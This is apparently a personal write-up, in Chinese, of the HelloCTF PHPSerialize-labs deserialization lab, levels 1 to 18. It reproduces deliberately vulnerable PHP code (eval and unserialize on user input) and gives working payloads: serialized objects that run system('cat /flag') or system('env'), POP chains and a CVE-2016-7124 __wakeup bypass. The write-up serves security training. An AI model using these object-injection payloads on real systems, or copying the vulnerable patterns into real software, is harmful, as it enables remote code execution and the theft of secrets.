Writeup of PHPSerializelabs

反序列化靶场PHPSerializelabs的个人Wp


Level 1: 类的实例化

<?php 

/*
--- HelloCTF - 反序列化靶场 关卡 1 : 类的实例化 ---

HINT:尝实例化下面的FLAG类吧!

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/


class FLAG{
public $flag_string = "HelloCTF{????}";

function __construct(){
echo $this->flag_string;
}
}

$code = $_POST['code'];

eval($code);

实例化测试,我们传入的参数会作为php代码执行,POST传入code=$a=new FLAG;获取flag

这里有__construct()方法,我们传入的指令实例化时会自动打印属性$flag_string


Level 2: 对象中值的传递

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 ---

HINT:尝试将flag传递出来~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

error_reporting(0);

$flag_string = "HelloCTF{????}";

class FLAG{
public $free_flag = "???";

function get_free_flag(){
echo $this->free_flag;
}
}
$target = new FLAG();

$code = $_POST['code'];

if(isset($code)){
eval($code);
$target->get_free_flag();
}
else{
highlight_file('source');
}

我们尝试将$flag_string的值传递到$free_flag中,$free_flag是公共属性,可以直接复赋值,题目会调用get_free_flag方法打印$target->free_flag的值

传递code=$target->free_flag=$flag_string;获得flag


Level 3: 对象中值的权限

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 ---

HINT:尝试将flag传递出来~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG{
public $public_flag = "HelloCTF{?";
protected $protected_flag = "?";
private $private_flag = "?}";

function get_protected_flag(){
return $this->protected_flag;
}

function get_private_flag(){
return $this->private_flag;
}
}

class SubFLAG extends FLAG{
function show_protected_flag(){
return $this->protected_flag;
}

function show_private_flag(){
return $this->private_flag;
}
}

$target = new FLAG();
$sub_target = new SubFLAG();


$code = $_POST['code'];

if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
echo "Trying to get FLAG...<br>";
echo "Public Flag: ".$target->public_flag."<br>";
echo "Protected Flag:".$target->protected_flag ."<br>";
echo "Private Flag:".$target->private_flag ."<br>";
}

考察对象属性的权限,不能直接将protected和private的属性直接echo出来,思路是需要利用类内的方法返回出来,传递:

code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

我们也可以用sub_target类中的show_protected_flag()方法获得$protected_flag,但是不能类似地获得$private_flag,因为private修饰的属性甚至不能在子类中访问


Level 4: 序列化初体验

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 4 : 序列化 ---

HINT:嗯!?全是私有,怎么获取flag呢?试试序列化!

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG3{
private $flag3_object_array = array("?","?");
}

class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;

function __construct() {
$this->flag3_object = new FLAG3();
}
}

$flag_is_here = new FLAG();


$code = $_POST['code'];

if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}

序列化会将类的所有属性(包括修饰属性)序列化,直接传递code=echo serialize($flag_is_here);获得flag,想要更清晰地看出flag格式可以用一些直接打印对象的函数

能够清晰地打印出对象的函数:

var_dump()print_r()var_export()


Level 5: 序列化的普通值规则

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 5 : 序列化规则 ---

HINT:各有千秋~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class a_class{
public $a_value = "HelloCTF";
}
$a_object = new a_class();
$a_array = array(a=>"Hello",b=>"CTF");
$a_string = "HelloCTF";
$a_number = 678470;
$a_boolean = true;
$a_null = null;

See How to serialize:
a_object: O:7:"a_class":1:{s:7:"a_value";s:8:"HelloCTF";}
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
a_string: s:8:"HelloCTF";
a_number: i:678470;
a_boolean: b:1;
a_null: N;
Now your turn!
<?php

$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);

if(
$your_boolean &&
$your_NULL == null &&
$your_string == "IWANT" &&
$your_number == 1 &&
$your_object->a_value == "FLAG" &&
$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
){
echo $flag;
}
else{
echo "You really know how to serialize?";
}

只要将符合题目条件的参数进行序列化后传递,就可以获得flag,构造参数

<?php
class a_class{
public $a_value = "HelloCTF";
}
$your_object = new a_class();
$your_object->a_value = "FLAG";
$your_array = array('a'=>"Plz",'b'=>"Give_M3");
$your_string = "IWANT";
$your_number = 1;
$your_boolean = true;
$your_NULL = null;

echo "o=".serialize($your_object)."&a=".serialize($your_array)."&s=".serialize($your_string)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL)."\n";

传递o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&

a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&

s=s:5:"IWANT";&i=i:1;&

b=b:1;&

n=N;获得flag


Level 6: 序列化的权限修饰规则

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 6 : 序列化规则_权限修饰 ---

HINT:各有千秋~特别注意的权限修饰符x

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class protectedKEY{
protected $protected_key;

function get_key(){
return $this->protected_key;
}
}

class privateKEY{
private $private_key;

function get_key(){
return $this->private_key;
}

}
See Carfully~
protected's serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
private's serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D
<?php

$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);

if(isset($protected_key)&&isset($private_key)){
if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
echo $flag;
} else {
echo "We Call it %00_Contr0l_Characters_NULL!";
}
} else {
highlight_file(__FILE__);
}

我们要让$protected_key->get_key()的值为"protected_key"$private_key->get_key()的值为"private_key"

构造参数

<?php
class protectedKEY{
protected $protected_key="protected_key";

function get_key(){
return $this->protected_key;
}
}

class privateKEY{
private $private_key="private_key";

function get_key(){
return $this->private_key;
}

}

$a=new protectedKEY();
$b=new privateKEY();

echo "protected_key=".urlencode(serialize($a))."\n";
echo "&private_key=".urlencode(serialize($b))."\n";

url编码的作用是成功传入空字符,获得playload,传递后获得flag

protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D
&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D


Level 7: 实例化和反序列化

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 7 : 实例化和反序列化 ---

HINT:可控的输入 简单的漏洞演示 / FLAG in flag.php

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG{
public $flag_command = "echo 'Hello CTF!<br>';";

function backdoor(){
eval($this->flag_command);
}
}

$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';

$Instantiate_object = new FLAG(); // 实例化的对象

$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象

$Instantiate_object->backdoor();

$Unserialize_object->backdoor();
'$Instantiate_object->backdoor()' will output:Hello CTF!
'$Unserialize_object->backdoor()' will output:Hello World!

<?php /* Now Your Turn */
unserialize($_POST['o'])->backdoor();

简单的序列化执行命令,将$flag_command的值修改为"system('cat flag.php');"序列化传入后即可读取flag,构造playload

o=O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('cat flag.php');";}


(特性)Level 8: 构造函数和析构函数以及GC机制

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 8 : 构造函数和析构函数 ---

HINT:注意顺序和次数

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

global $destruct_flag;
global $construct_flag;
$destruct_flag = 0;
$construct_flag = 0;

class FLAG {
public $class_name;
public function __construct($class_name)
{
$this->class_name = $class_name;
global $construct_flag;
$construct_flag++;
echo "Constructor called " . $construct_flag . "<br>";
}
public function __destruct()
{
global $destruct_flag;
$destruct_flag++;
echo "Destructor called " . $destruct_flag . "<br>";
}
}

/*Object created*/
$demo = new FLAG('demo');

/*Object serialized*/
$s = serialize($demo);

/*Object unserialized*/
$n = unserialize($s);

/*unserialized object destroyed*/
unset($n);

/*original object destroyed*/
unset($demo);

/*注意 此处为了方便演示为手动释放,一般情况下,当脚本运行完毕后,php会将未显式销毁的对象自动销毁,该行为也会调用析构函数*/

/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存,销毁不被引用的对象:*/
new FLAG();
Object created:Constructor called 1
Object serialized: But Nothing Happen(:
Object unserialized:But nothing happened either):
serialized Object destroyed:Destructor called 1
original Object destroyed:Destructor called 2

This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2
Destructor called 3

Now Your Turn!, Try to get the flag!
<?php

class RELFLAG {

public function __construct()
{
global $flag;
$flag = 0;
$flag++;
echo "Constructor called " . $flag . "<br>";
}
public function __destruct()
{
global $flag;
$flag++;
echo "Destructor called " . $flag . "<br>";
}
}

function check(){
global $flag;
if($flag > 5){
echo "HelloCTF{???}";
}else{
echo "Check Detected flag is ". $flag;
}
}

if (isset($_POST['code'])) {
eval($_POST['code']);
check();
}

思路很多,一一列举

1.利用嵌套序列化/反序列化,符合出题人意图,playload

code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

serialize()unserialize()这里重复调用产生了多个对象,但是并没有调用__construct()__destruct()方法,使$flag数值增加的原因是GC机制

2.直接调用__destruct()方法,playload

code=$a=new RELFLAG;$a->__destruct();$a->__destruct();$a->__destruct();$a->__destruct();$a->__destruct();

3.直接给$flag复制为6,playload

code=$flag=6;


Level 9: 构造函数的后门

<?php
/*
--- HelloCTF - 反序列化靶场 关卡 9 : 构造函数的后门 ---

HINT:似曾相识

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG {
var $flag_command = "echo 'HelloCTF';";
public function __destruct()
{
eval ($this->flag_command);
}
}

unserialize($_POST['o']);

__destruct()会自动调用,修改命令即可,windows搭建的靶场拿不到flag,这里用同源的在线靶场

<?php
class FLAG {
var $flag_command = "system('env');";
public function __destruct()
{
eval ($this->flag_command);
}
}
echo serialize(new FLAG());

输出playload:o=O:4:"FLAG":1:{s:12:"flag_command";s:14:"system('env');";}


Level 10: __wakeup()

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 10 : weakup! ---

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
除开构造和析构函数,这应该是你第一个真正意义上开始接触的魔术方法,此后每一个魔术方法对应的题目我都会在这里介绍。
当然你也可以直接查阅PHP官网文档 - 魔术方法部分:https://www.php.net/manual/zh/language.oop5.magic.php

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

error_reporting(0);

class FLAG{
function __wakeup() {
include 'flag.php';
echo $flag;
}
}

if(isset($_POST['o']))
{
unserialize($_POST['o']);
}else {
highlight_file(__FILE__);
}
<?php
class FLAG{
function __wakeup() {
include 'flag.php';
echo $flag;
}
}
echo serialize(new FLAG());

随便实例化一个对象序列化传上去就行o=O:4:"FLAG":0:{}


(特性)Level 11: __wakeup() CVE-2016-7124

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 11 : Bypass weakup! ---

CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

error_reporting(0);

include 'flag.php';

class FLAG {
public $flag = "FAKEFLAG";

public function __wakeup(){
global $flag;
$flag = NULL;
}
public function __destruct(){
global $flag;
if ($flag !== NULL) {
echo $flag;
}else
{
echo "sorry,flag is gone!";
}
}
}

if(isset($_POST['o']))
{
unserialize($_POST['o']);
}else {
highlight_file(__FILE__);
phpinfo();
}

需要掠过__wakeup()方法的调用,结合hint,对象属性的值大于真实属性值时便会跳过wakeup的执行,先构造序列化

<?php
class FLAG {
public $flag = "FAKEFLAG";

public function __wakeup(){
global $flag;
$flag = NULL;
}
public function __destruct(){
global $flag;
if ($flag !== NULL) {
echo $flag;
}else
{
echo "sorry,flag is gone!";
}
}
}
$flag = new FLAG();
echo serialize($flag);

得出的序列化字符串:O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}

修改属性数值得到新字符串O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}传递即可


Level 12: __sleep()

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 12 : sleep! ---

年轻就是好啊,倒头就睡。

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']。
数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。
如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00父类名称%00变量名 (%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 "\0" - 注意在双引号中,PHP 才会解析转义字符和变量。)。
例如,父类 FLAG 的私有属性 private $f; 应该在子类的 __sleep() 方法中以 "\0FLAG\0f" 的格式返回。
如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG {

private $f;
private $l;
protected $a;
public $g;
public $x,$y,$z;

public function __sleep() {
return ['x','y','z'];
}
}

class CHALLENGE extends FLAG {

public $h,$e,$l,$I,$o,$c,$t,$f;

function chance() {
return $_GET['chance'];
}
public function __sleep() {
/* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
$_=array_rand($array_list);$__=array_rand($array_list);
return array($array_list[$_],$array_list[$__],$this->chance());
}

}

$FLAG = new FLAG();
echo serialize($FLAG);

echo serialize(new CHALLENGE());

array_rand($array_list)函数:从$array_list中随机抽取一个元素

结合hint,利用chance依次传递参数'h','e','l','I','o','c','t','f','%00FLAG%00f','%00FLAG%00l','a','g'组合拼接得到flag,由于后面的两个'f','l'是父类里面的私有属性,需要返回需要使用序列化中的特殊格式 ,就比如%00FLAG%00f


Level 13: __toString()

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 13 __toString() ---

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG {
function __toString() {
echo "I'm a string ~~~";
include 'flag.php';
return $flag;
}
}

$obj = new FLAG();

if(isset($_POST['o'])) {
eval($_POST['o']);
} else {
highlight_file(__FILE__);
}

尝试以字符串调用$obj即可利用__toString()返回flag

传递o=echo $obj;即可


Level 14: __invoke()

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 14 : __invoke() ---

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG{
function __invoke($x) {
if ($x == 'get_flag') {
include 'flag.php';
echo $flag;
}
}
}

$obj = new FLAG();

if(isset($_POST['o'])) {
eval($_POST['o']);
} else {
highlight_file(__FILE__);
}

尝试以函数调用$obj即可利用__invoke()返回flag

传递o=$boj('get_flag');即可


Level 15: POP链前置

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 15 : POP链初步 ---

世界的本质其实就是套娃(x

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

/* FLAG in flag.php */

class A {
public $a;
public function __construct($a) {
$this->a = $a;
}
}
class B {
public $b;
public function __construct($b) {
$this->b = $b;
}
}
class C {
public $c;
public function __construct($c) {
$this->c = $c;
}
}

class D {
public $d;
public function __construct($d) {
$this->d = $d;
}
public function __wakeUp() {
$this->d->action();
}
}

class destnation {
var $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function action(){
eval($this->cmd->a->b->c);
}
}

if(isset($_POST['o'])) {
unserialize($_POST['o']);
} else {
highlight_file(__FILE__);
}

是个套娃,目的是让$this->cmd->a->b->c的值为要执行的任意命令,为了调用action(),还需要套一层D类

构造链

$load=new D();
$load->d=new destnation();
$load->d->cmd=new A();
$load->d->cmd->a=new B();
$load->d->cmd->a->b=new C();
$load->d->cmd->a->b->c="system('cat /flag');";
echo serialize($load);

O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:20:"system('cat /flag');";}}}}}

传入即可


Level 16: POP链构造

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 16 : zePOP---

__wakeUp() 方法用于反序列化时自动调用。例如 unserialize()。
__invoke() 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

试着把他们串起来吧ww

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class A {
public $a;
public function __invoke() {
include $this->a;
return $flag;
}
}

class B {
public $b;
public function __toString() {
$f = $this->b;
return $f();
}
}


class INIT {
public $name;
public function __wakeUp() {
echo $this->name.' is awake!';
}
}

if(isset($_POST['o'])) {
unserialize($_POST['o']);
} else {
highlight_file(__FILE__);
}

不难发现利用顺序是__wakeUp()->__toString->__invoke(),最后需要包含flag.php

构造链

$new=new INIT;
$new->name=new B;
$new->name->b=new A;
$new->name->b->a="flag.php";
echo serialize($new);

O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}},传入即可


(特性)Level 17: 字符串逃逸基础-无中生有

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 17 : 字符串逃逸基础 ---

序列化和反序列化的规则特性_无中生有:当成员属性的实际数量符合序列化字符串中对应属性值时,似乎不会做任何检查?

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class A {

}
echo "Class A is NULL: '".serialize(new A())."'<br>";

class B {
public $a = "Hello";
protected $b = "CTF";
private $c = "FLAG{TEST}";
}
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";

$serliseString = serialize(new B());

$serliseString = str_replace('B', 'A', $serliseString);

echo "After replace B with A,we unserialize it and dump :<br>";
var_dump(unserialize($serliseString));

if(isset($_POST['o'])) {
$a = unserialize($_POST['o']);
if ($a instanceof A && $a->helloctfcmd == "get_flag") {
include 'flag.php';
echo $flag;
} else {
echo "what's rule?";
}
} else {
highlight_file(__FILE__);
}
Class A is NULL: 'O:1:"A":0:{}'
Class B is a class with 3 properties: 'O:1:"B":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:4:"Bc";s:10:"FLAG{TEST}";}'
After replace B with A,we unserialize it and dump :
object(A)#1 (3) { ["a"]=> string(5) "Hello" ["b":protected]=> string(3) "CTF" ["c":"A":private]=> string(10) "FLAG{TEST}" }

由hint,当成员属性的实际数量符合序列化字符串中对应属性值时,不会做任何检查

更改B的属性后将名称替换为A即可

class B {
public $a = "Hello";
protected $b = "CTF";
private $c = "FLAG{TEST}";
public $helloctfcmd="get_flag";
}
echo serialize(new B());

得到O:1:"B":4:{s:1:"a";s:5:"Hello";s:4:" * b";s:3:"CTF";s:4:" B c";s:10:"FLAG{TEST}";s:11:"helloctfcmd";s:8:"get_flag";}

修改传递o=O:1:"A":4:{s:1:"a";s:5:"Hello";s:4:" * b";s:3:"CTF";s:4:" B c";s:10:"FLAG{TEST}";s:11:"helloctfcmd";s:8:"get_flag";}即可


(特性)Level 18: 字符串逃逸基础-尾部判定

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 18 : 字符串逃逸基础 ---

序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

highlight_file(__FILE__);

class Demo {
public $a = "Hello";
public $b = "CTF";
public $key = 'GET_FLAG";}FAKE_FLAG';
}

class FLAG {

}

$serliseStringDemo = serialize(new Demo());

$target = $_GET['target'];
$change = $_GET['change'];

$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);

$FLAG = unserialize($serliseStringFLAG);

if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
echo $flag;
}
SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'
Change SOMETHING TO GET FLAGYour serliaze string is O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
And Here is object(Demo)#1 (3) { ["a"]=> string(5) "Hello" ["b"]=> string(3) "CTF" ["key"]=> string(20) "GET_FLAG";}FAKE_FLAG" }

利用这个特性进行截断,只需要把对象名"Demo"替换为"FLAG",字符数20替换为8即可

传递target=O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}

&change=O:4:"FLAG":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:8:"GET_FLAG";}